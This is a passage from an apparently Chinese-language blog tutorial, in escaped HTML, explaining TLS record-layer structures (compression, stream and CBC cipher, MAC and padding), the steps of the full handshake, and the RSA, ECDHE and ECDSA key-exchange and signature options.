&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;ji-lu-ya-suo-he-jie-ya-suo-record-compression-and-decompression&quot;&gt;记录压缩和解压缩 (Record compression and decompression)&lt;&#x2F;h3&gt;
&lt;p&gt;压缩算法将 TLSPlaintext 结构转换为 TLSCompressed 结构。如果定义 CompressionMethod 为 null 表示不压缩&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;struct {
  ContentType type; &amp;#x2F;&amp;#x2F; same as TLSPlaintext.type
  ProtocolVersion version; &amp;#x2F;&amp;#x2F; same as TLSPlaintext.version
  uint16 length; &amp;#x2F;&amp;#x2F; TLSCompressed.fragment 的长度，不超过 2^14 + 1024
  opaque fragment[TLSCompressed.length];
} TLSCompressed;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;kong-huo-biao-zhun-liu-jia-mi-null-or-standard-stream-cipher&quot;&gt;空或标准流加密 (Null or standard stream cipher)&lt;&#x2F;h3&gt;
&lt;p&gt;流加密（BulkCipherAlgorithm）将 TLSCompressed.fragment 结构转换为流 TLSCiphertext.fragment 结构&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;stream-ciphered struct {
    opaque content[TLSCompressed.length];
    opaque MAC[CipherSpec.hash_size];
} GenericStreamCipher;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;MAC 产生方法如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;HMAC_hash(MAC_write_secret, seq_num + TLSCompressed.type + TLSCompressed.version + TLSCompressed.length + TLSCompressed.fragment));
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;seq_num（记录的序列号）、hash（SecurityParameters.mac_algorithm 指定的哈希算法）&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;MAC(Message authentication code) - 消息认证码&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;注意，MAC 是在加密之前计算的。流加密加密整个块，包括 MAC。对于不使用同步向量 (例如 RC4) 的流加密，从一个记录结尾处的流加密状态仅用于后续数据包。如果 CipherSuite 是 TLS_NULL_WITH_NULL_NULL，则加密由身份操作 (数据未加密，MAC 大小为零，暗示不使用 MAC) 组成。TLSCiphertext.length 是 TLSCompressed.length 加上 CipherSpec.hash_size。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;cbc-kuai-jia-mi-fen-zu-jia-mi&quot;&gt;CBC 块加密 (分组加密)&lt;&#x2F;h3&gt;
&lt;p&gt;块加密（如 RC2 或 DES），将 TLSCompressed.fragment 结构转换为块 TLSCiphertext.fragment 结构&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;block-ciphered struct {
  opaque content[TLSCompressed.length];
  opaque MAC[CipherSpec.hash_size];
  uint8 padding[GenericBlockCipher.padding_length];
  uint8 padding_length;
} GenericBlockCipher;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;padding: 添加的填充将明文长度强制为块密码块长度的整数倍。填充可以是长达 255 字节的任何长度，只要满足 TLSCiphertext.length 是块长度的整数倍。长度大于需要的值可以阻止基于分析交换信息长度的协议攻击。填充数据向量中的每个 uint8 必须填入填充长度值 (即 padding_length)。&lt;&#x2F;p&gt;
&lt;p&gt;padding_length: 填充长度应该使得 GenericBlockCipher 结构的总大小是加密块长度的倍数。合法值范围从零到 255（含）。&lt;strong&gt;该长度指定 padding_length 字段本身除外的填充字段的长度&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;加密块的数据长度（TLSCiphertext.length）是 TLSCompressed.length，CipherSpec.hash_size 和 padding_length 的总和加一&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;示例: 如果块长度为 8 字节，压缩内容长度（TLSCompressed.length）为 61 字节，MAC 长度为 20 字节，则填充前的长度为 82 字节（padding_length 占 1 字节）。 因此，为了使总长度为块长度 (8 字节) 的偶数倍，模 8 的填充长度必须等于 6，所以填充长度可以为 6，14，22 等。如果填充长度是需要的最小值，比如 6，填充将为 6 字节，每个块都包含值 6。因此，块加密之前的 GenericBlockCipher 的最后 8 个八位字节将为 xx 06 06 06 06 06 06 06，其中 xx 是 MAC 的最后一个八位字节。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;XX  - 06 06 06 06 06 06 - 06&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;MAC -     padding[6]    - padding_length&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;ji-lu-you-xiao-zai-he-bao-hu-record-payload-protection&quot;&gt;记录有效载荷保护 (Record payload protection)&lt;&#x2F;h3&gt;
&lt;p&gt;加密和 MAC 功能将 TLSCompressed 结构转换为 TLSCiphertext。记录的 MAC 还包括序列号，以便可以检测到丢失，额外或重复的消息。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;struct {
  ContentType type; &amp;#x2F;&amp;#x2F; same
  ProtocolVersion version; &amp;#x2F;&amp;#x2F; same
  uint16 length; &amp;#x2F;&amp;#x2F; TLSCiphertext.fragment 的长度，不超过 2^14 + 2048
  select (CipherSpec.cipher_type) {
    case stream: GenericStreamCipher;
    case block: GenericBlockCipher;
  } fragment; &amp;#x2F;&amp;#x2F; TLSCompressed.fragment 的加密形式，带有 MAC
} TLSCiphertext;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;注意 这里提到的都是先 MAC 再加密，是基于 RFC 2246 的方案 (TLS 1.0) 写的。但新的方案选择先加密再 MAC，这种替代方案中，首先对明文和填充进行加密，再将结果交给 MAC 算法。这可以保证主动网络攻击者不能操纵任何加密数据。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;mi-yao-ji-suan-key-calculation&quot;&gt;密钥计算 (Key calculation)&lt;&#x2F;h3&gt;
&lt;p&gt;记录协议需要一种算法，从握手协议提供的安全性参数生成密钥、&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;zh.wikipedia.org&#x2F;wiki&#x2F;%E5%88%9D%E5%A7%8B%E5%90%91%E9%87%8F&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fzh.wikipedia.org%2Fwiki%2F%25E5%2588%259D%25E5%25A7%258B%25E5%2590%2591%25E9%2587%258F&quot;&gt;IV&lt;&#x2F;a&gt; 和 MAC secret.&lt;&#x2F;p&gt;
&lt;p&gt;主密钥 (Master secret): 在连接中双方共享的一个 48 字节的密钥 客户随机数 (client random): 由客户端提供的 32 字节值 服务器随机数 (server random): 由服务器提供的 32 字节值&lt;&#x2F;p&gt;
&lt;h2 id=&quot;5-wo-shou-ceng&quot;&gt;5. 握手层&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;握手协议的职责是生成通信过程所需的共享密钥和进行身份认证。这部分使用无密码套件，为防止数据被窃听，通过公钥密码或 Diffie-Hellman 密钥交换技术通信。&lt;&#x2F;li&gt;
&lt;li&gt;密码规格变更协议，用于密码切换的同步，是在握手协议之后的协议。握手协议过程中使用的协议是“不加密”这一密码套件，握手协议完成后则使用协商好的密码套件。&lt;&#x2F;li&gt;
&lt;li&gt;警告协议，当发生错误时使用该协议通知通信对方，如握手过程中发生异常、消息认证码错误、数据无法解压缩等。&lt;&#x2F;li&gt;
&lt;li&gt;应用数据协议，通信双方真正进行应用数据传输的协议，传送过程通过 TLS 应用数据协议和 TLS 记录协议来进行传输。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;握手是 TLS 协议中最精密复杂的部分。在这个过程中，通信双方协商连接参数，并且完成身 份验证。根据使用的功能的不同，整个过程通常需要交换 6~10 条消息。根据配置和支持的协议扩展的不同，交换过程可能有许多变种。在使用中经常可以观察到以下三种流程：(1) 完整的握手， 对服务器进行身份验证；(2) 恢复之前的会话采用的简短握手；(3) 对客户端和服务器都进行身份验证的握手。&lt;&#x2F;p&gt;
&lt;p&gt;握手协议消息的标头信息包含消息类型（1 字节）和长度（3 字节），余下的信息则取决于消息类型：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;struct {
  HandshakeType msg_type;
  uint24 length;
  HandshakeMessage message;
} Handshake;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;5-1-wan-zheng-wo-shou&quot;&gt;5.1 完整握手&lt;&#x2F;h3&gt;
&lt;p&gt;每一个 TLS 连接都会以握手开始。如果客户端此前并未与服务器建立会话，那么双方会执行一次完整的握手流程来协商 TLS 会话。握手过程中，客户端和服务器将进行以下四个主要步骤:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;交换各自支持的功能，对需要的连接参数达成一致&lt;&#x2F;li&gt;
&lt;li&gt;验证出示的证书，或使用其他方式进行身份验证&lt;&#x2F;li&gt;
&lt;li&gt;对将用于保护会话的共享主密钥达成一致&lt;&#x2F;li&gt;
&lt;li&gt;验证握手消息并未被第三方团体修改&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;下面介绍最常见的握手规则，一种不需要验证客户端身份但需要验证服务器身份的握手:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;tls-explained&#x2F;tls-full-handshake-flow.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;5-1-1-clienthello&quot;&gt;5.1.1 ClientHello&lt;&#x2F;h4&gt;
&lt;p&gt;这条消息将客户端的功能和首选项传送给服务器。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;tls-explained&#x2F;tls-clienthello-message-structure.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Version: 协议版本（protocol version）指示客户端支持的最佳协议版本&lt;&#x2F;li&gt;
&lt;li&gt;Random: 一个 32 字节数据，28 字节是随机生成的 (图中的 Random Bytes)；剩余的 4 字节包含额外的信息，与客户端时钟有关 (图中使用的是 GMT Unix Time)。在握手时，客户端和服务器都会提供随机数，客户端的暂记作 random_C (用于后续的密钥的生成)。这种随机性对每次握手都是独一无二的，在身份验证中起着举足轻重的作用。它可以防止 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;zh.wikipedia.org&#x2F;wiki&#x2F;%E9%87%8D%E6%94%BE%E6%94%BB%E5%87%BB&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fzh.wikipedia.org%2Fwiki%2F%25E9%2587%258D%25E6%2594%25BE%25E6%2594%25BB%25E5%2587%25BB&quot;&gt;重放攻击&lt;&#x2F;a&gt;，并确认初始数据交换的完整性。&lt;&#x2F;li&gt;
&lt;li&gt;Session ID: 在第一次连接时，会话 ID（session ID）字段是空的，这表示客户端并不希望恢复某个已存在的会话。典型的会话 ID 包含 32 字节随机生成的数据，一般由服务端生成通过 ServerHello 返回给客户端。&lt;&#x2F;li&gt;
&lt;li&gt;Cipher Suites: 密码套件（cipher suite）块是由客户端支持的所有密码套件组成的列表，该列表是按优先级顺序排列的&lt;&#x2F;li&gt;
&lt;li&gt;Compression: 客户端可以提交一个或多个支持压缩的方法。默认的压缩方法是 null，代表没有压缩&lt;&#x2F;li&gt;
&lt;li&gt;Extensions: 扩展（extension）块由任意数量的扩展组成。这些扩展会携带额外数据&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;5-1-2-serverhello&quot;&gt;5.1.2 ServerHello&lt;&#x2F;h4&gt;
&lt;p&gt;是将服务器选择的连接参数传回客户端。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;tls-explained&#x2F;serverhello-message-structure.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这个消息的结构与 ClientHello 类似，只是每个字段只包含一个选项，其中包含服务端的 random_S 参数 (用于后续的密钥协商)。服务器无需支持客户端支持的最佳版本。如果服务器不支持与客户端相同的版本，可以提供某个其他版本以期待客户端能够接受&lt;&#x2F;p&gt;
&lt;p&gt;图中的 &lt;code&gt;Cipher Suite&lt;&#x2F;code&gt; 是后续密钥协商和身份验证要用的加密套件，此处选择的密钥交换与签名算法是 ECDHE_RSA，对称加密算法是 AES-GCM，后面会讲到这个&lt;&#x2F;p&gt;
&lt;p&gt;还有一点默认情况下 TLS 压缩都是关闭的，因为 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;zh.wikipedia.org&#x2F;wiki&#x2F;CRIME&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fzh.wikipedia.org%2Fwiki%2FCRIME&quot;&gt;CRIME&lt;&#x2F;a&gt; 攻击会利用 TLS 压缩恢复加密认证 cookie，实现会话劫持，而且一般配置 gzip 等内容压缩后再压缩 TLS 分片效益不大又额外占用资源，所以一般都关闭 TLS 压缩&lt;&#x2F;p&gt;
&lt;h4 id=&quot;5-1-3-certificate&quot;&gt;5.1.3 Certificate&lt;&#x2F;h4&gt;
&lt;p&gt;典型的 Certificate 消息用于携带服务器 X.509 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;zh.wikipedia.org&#x2F;wiki&#x2F;%E4%BF%A1%E4%BB%BB%E9%8F%88&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fzh.wikipedia.org%2Fwiki%2F%25E4%25BF%25A1%25E4%25BB%25BB%25E9%258F%2588&quot;&gt;证书链&lt;&#x2F;a&gt;。 服务器必须保证它发送的证书与选择的算法套件一致。比方说，公钥算法与套件中使用的必须匹配。除此以外，一些密钥交换算法依赖嵌入证书的特定数据，而且要求证书必须以客户端支持的算法签名。所有这些都表明服务器需要配置多个证书（每个证书可能会配备不同的证书链）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;tls-explained&#x2F;tls-certificate-message.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Certificate 消息是可选的，因为并非所有套件都使用身份验证，也并非所有身份验证方法都需要证书。更进一步说，虽然消息默认使用 X.509 证书，但是也可以携带其他形式的标志；一些套件就依赖 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;zh.wikipedia.org&#x2F;wiki&#x2F;PGP&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fzh.wikipedia.org%2Fwiki%2FPGP&quot;&gt;PGP 密钥&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;5-1-4-serverkeyexchange&quot;&gt;5.1.4 ServerKeyExchange&lt;&#x2F;h4&gt;
&lt;p&gt;携带密钥交换需要的额外数据。ServerKeyExchange 是可选的，消息内容对于不同的协商算法套件会存在差异。部分场景下，比如使用 RSA 算法时，服务器不需要发送此消息。&lt;&#x2F;p&gt;
&lt;p&gt;ServerKeyExchange 仅在服务器证书消息（也就是上述 Certificate 消息）不包含足够的数据以允许客户端交换预主密钥（premaster secret）时才由服务器发送。&lt;&#x2F;p&gt;
&lt;p&gt;比如基于 DH 算法的握手过程中，需要单独发送一条 ServerKeyExchange 消息带上 DH 参数:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;tls-explained&#x2F;server-key-exchange-dh-params.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;5-1-5-serverhellodone&quot;&gt;5.1.5 ServerHelloDone&lt;&#x2F;h4&gt;
&lt;p&gt;表明服务器已经将所有预计的握手消息发送完毕。在此之后，服务器会等待客户端发送消息。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;5-1-6-verify-certificate&quot;&gt;5.1.6 verify certificate&lt;&#x2F;h4&gt;
&lt;p&gt;客户端验证证书的合法性，如果验证通过才会进行后续通信，否则根据错误情况不同做出提示和操作，合法性验证内容包括如下:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;证书链的可信性 trusted certificate path;&lt;&#x2F;li&gt;
&lt;li&gt;证书是否吊销 revocation，有两类方式 - 离线 CRL 与在线 OCSP，不同的客户端行为会不同;&lt;&#x2F;li&gt;
&lt;li&gt;有效期 expiry date，证书是否在有效时间范围;&lt;&#x2F;li&gt;
&lt;li&gt;域名 domain，核查证书域名是否与当前的访问域名匹配;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;由 &lt;code&gt;PKI 体系&lt;&#x2F;code&gt; 的内容可知，对端发来的证书签名是 CA 私钥加密的，接收到证书后，先读取证书中的相关的明文信息，采用相同的散列函数计算得到信息摘要，然后利用对应 CA 的公钥解密签名数据，对比证书的信息摘要，如果一致，则可以确认证书的合法性；然后去查询证书的吊销情况等&lt;&#x2F;p&gt;
&lt;h4 id=&quot;5-1-7-clientkeyexchange&quot;&gt;5.1.7 ClientKeyExchange&lt;&#x2F;h4&gt;
&lt;p&gt;合法性验证通过之后，客户端计算产生随机数字的预主密钥（Pre-master），并用证书公钥加密，发送给服务器并携带客户端为密钥交换提供的所有信息。这个消息受协商的密码套件的影响，内容随着不同的协商密码套件而不同。&lt;&#x2F;p&gt;
&lt;p&gt;此时客户端已经获取全部的计算协商密钥需要的信息: 两个明文随机数 random_C 和 random_S 与自己计算产生的 Pre-master，然后得到协商密钥(用于之后的消息加密)&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;enc_key = PRF(Pre_master, &amp;quot;master secret&amp;quot;, random_C + random_S)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;tls-explained&#x2F;tls-client-key-exchange.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;图中使用的是 ECDHE 算法，ClientKeyExchange 传递的是 DH 算法的客户端参数，如果使用的是 RSA 算法则此处应该传递加密的预主密钥&lt;&#x2F;p&gt;
&lt;h4 id=&quot;5-1-8-changecipherspec&quot;&gt;5.1.8 ChangeCipherSpec&lt;&#x2F;h4&gt;
&lt;p&gt;通知服务器后续的通信都采用协商的通信密钥和加密算法进行加密通信&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;注意 ChangeCipherSpec 不属于握手消息，它是另一种协议，只有一条消息，作为它的子协议进行实现。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;5-1-9-finished-encrypted-handshake-message&quot;&gt;5.1.9 Finished (Encrypted Handshake Message)&lt;&#x2F;h4&gt;
&lt;p&gt;Finished 消息意味着握手已经完成。消息内容将加密，以便双方可以安全地交换验证整个握手完整性所需的数据。&lt;&#x2F;p&gt;
&lt;p&gt;这个消息包含 verify_data 字段，它的值是握手过程中所有消息的散列值。这些消息在连接两端都按照各自所见的顺序排列，并以协商得到的主密钥 (enc_key) 计算散列。这个过程是通过一个伪随机函数（pseudorandom function，PRF）来完成的，这个函数可以生成任意数量的伪随机数据。 两端的计算方法一致，但会使用不同的标签（finished_label）：客户端使用 client finished，而服务器则使用 server finished。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;verify_data = PRF(master_secret, finished_label, Hash(handshake_messages))
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;因为 Finished 消息是加密的，并且它们的完整性由协商 MAC 算法保证，所以主动网络攻击者不能改变握手消息并对 vertify_data 的值造假。在 TLS 1.2 版本中，Finished 消息的长度默认是 12 字节（96 位），并且允许密码套件使用更长的长度。在此之前的版本，除了 SSL 3 使用 36 字节的定长消息，其他版本都使用 12 字节的定长消息。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;5-1-10-server&quot;&gt;5.1.10 Server&lt;&#x2F;h4&gt;
&lt;p&gt;服务器用私钥解密加密的 Pre-master 数据，基于之前交换的两个明文随机数 random_C 和 random_S，同样计算得到协商密钥: &lt;code&gt;enc_key = PRF(Pre_master, &quot;master secret&quot;, random_C + random_S)&lt;&#x2F;code&gt;;&lt;&#x2F;p&gt;
&lt;p&gt;同样计算之前所有收发信息的 hash 值，然后用协商密钥解密客户端发送的 verify_data_C，验证消息正确性;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;5-1-11-change-cipher-spec&quot;&gt;5.1.11 change_cipher_spec&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;tls-explained&#x2F;tls-change-cipher-spec-flow.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;服务端验证通过之后，服务器同样发送 change_cipher_spec 以告知客户端后续的通信都采用协商的密钥与算法进行加密通信（图中多了一步 New Session Ticket，此为会话票证，会在会话恢复中解释）;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;5-1-12-finished-encrypted-handshake-message&quot;&gt;5.1.12 Finished (Encrypted Handshake Message)&lt;&#x2F;h4&gt;
&lt;p&gt;服务器也结合所有当前的通信参数信息生成一段数据 (verify_data_S) 并采用协商密钥 session secret (enc_key) 与算法加密并发送到客户端;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;5-1-13-wo-shou-jie-shu&quot;&gt;5.1.13 握手结束&lt;&#x2F;h4&gt;
&lt;p&gt;客户端计算所有接收信息的 hash 值，并采用协商密钥解密 verify_data_S，验证服务器发送的数据和密钥，验证通过则握手完成;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;5-1-14-jia-mi-tong-xin&quot;&gt;5.1.14 加密通信&lt;&#x2F;h4&gt;
&lt;p&gt;开始使用协商密钥与算法进行加密通信。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;tls-explained&#x2F;tls-encrypted-communication.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-2-mi-yao-jiao-huan-he-qian-ming-suan-fa&quot;&gt;5.2 密钥交换和签名算法&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;chang-yong-de-mi-yao-jiao-huan-he-qian-ming-suan-fa&quot;&gt;常用的密钥交换和签名算法&lt;&#x2F;h4&gt;
&lt;p&gt;HTTPS 通过 TLS 层和证书机制提供了内容加密、身份认证和数据完整性三大功能。加密过程中，需要用到非对称密钥交换和对称内容加密两大算法。&lt;&#x2F;p&gt;
&lt;p&gt;对称内容加密强度非常高，加解密速度也很快，只是无法安全地生成和保管密钥。在 TLS 协议中，最后的应用数据都是经过对称加密后传输的，传输中所使用的对称协商密钥(上文中的 enc_key)，则是在握手阶段通过非对称密钥交换而来。常见的 AES-GCM、ChaCha20-Poly1305，都是对称加密算法。&lt;&#x2F;p&gt;
&lt;p&gt;非对称密钥交换能在不安全的数据通道中，产生只有通信双方才知道的对称加密密钥。目前最常用的密钥交换算法有 RSA 和 ECDHE。&lt;&#x2F;p&gt;
&lt;p&gt;RSA 历史悠久，支持度好，但不支持 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;zh.wikipedia.org&#x2F;wiki&#x2F;%E5%89%8D%E5%90%91%E5%AE%89%E5%85%A8%E6%80%A7&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fzh.wikipedia.org%2Fwiki%2F%25E5%2589%258D%25E5%2590%2591%25E5%25AE%2589%25E5%2585%25A8%25E6%2580%25A7&quot;&gt;完美前向安全 - PFS(Perfect Forward Secrecy)&lt;&#x2F;a&gt;；而 ECDHE 是使用了 ECC（椭圆曲线）的 DH（Diffie-Hellman）算法，计算速度快，且支持 PFS。&lt;&#x2F;p&gt;
&lt;p&gt;在 &lt;code&gt;PKI 体系&lt;&#x2F;code&gt; 一节中说明了仅有非对称密钥交换还是无法抵御 MITM 攻击的，所以需要引入了 PKI 体系的证书来进行身份验证，其中服务端非对称加密产生的公钥会放在证书中传给客户端。&lt;&#x2F;p&gt;
&lt;p&gt;在 RSA 密钥交换中，浏览器使用证书提供的 RSA 公钥加密相关信息，如果服务端能解密，意味着服务端拥有与公钥对应的私钥，同时也能算出对称加密所需密钥。密钥交换和服务端认证合并在一起。&lt;&#x2F;p&gt;
&lt;p&gt;在 ECDH 密钥交换中，服务端使用私钥 (RSA 或 ECDSA) 对相关信息进行签名，如果浏览器能用证书公钥验证签名，就说明服务端确实拥有对应私钥，从而完成了服务端认证。密钥交换则是各自发送 DH 参数完成的，密钥交换和服务端认证是完全分开的。&lt;&#x2F;p&gt;
&lt;p&gt;可用于 ECDHE 数字签名的算法主要有 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;zh.wikipedia.org&#x2F;wiki&#x2F;RSA%E5%8A%A0%E5%AF%86%E6%BC%94%E7%AE%97%E6%B3%95&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fzh.wikipedia.org%2Fwiki%2FRSA%25E5%258A%25A0%25E5%25AF%2586%25E6%25BC%2594%25E7%25AE%2597%25E6%25B3%2595&quot;&gt;RSA&lt;&#x2F;a&gt; 和 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Elliptic_Curve_Digital_Signature_Algorithm&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FElliptic_Curve_Digital_Signature_Algorithm&quot;&gt;ECDSA - 椭圆曲线数字签名算法&lt;&#x2F;a&gt;，也就是目前密钥交换 + 签名有三种主流选择:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;RSA&lt;&#x2F;code&gt; - RSA 密钥交换（无需签名）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ECDHE_RSA&lt;&#x2F;code&gt; - ECDHE 密钥交换、RSA 签名&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ECDHE_ECDSA&lt;&#x2F;code&gt; - ECDHE 密钥交换、ECDSA 签名&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] 终端执行 openssl s_client -connect wangriyu.wang:443 | openssl x509 -noout -text：证书 Version 3，签名算法 sha256WithRSAEncryption，签发者 Let&#x27;s Encrypt Authority X3（C=US），有效期 2018-04-21 至 2018-07-20，Subject CN=*.wangriyu.wang，公钥 rsaEncryption 2048 位，指数 65537。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;比如我的网站使用的加密套件是 ECDHE_RSA，可以看到数字签名算法是 sha256 哈希加 RSA 加密，在 &lt;code&gt;PKI 体系&lt;&#x2F;code&gt; 一节中讲了签名是服务器信息摘要的哈希值加密生成的&lt;&#x2F;p&gt;
&lt;p&gt;内置 ECDSA 公钥的证书一般被称之为 ECC 证书，内置 RSA 公钥的证书就是 RSA 证书。因为 256 位 ECC Key 在安全性上等同于 3072 位 RSA Key，所以 ECC 证书体积比 RSA 证书小，而且 ECC 运算速度更快，ECDHE 密钥交换 + ECDSA 数字签名是目前最好的加密套件&lt;&#x2F;p&gt;
&lt;p&gt;以上内容来自本文: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;imququ.com&#x2F;post&#x2F;ecc-certificate.html&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fimququ.com%2Fpost%2Fecc-certificate.html&quot;&gt;开始使用 ECC 证书&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
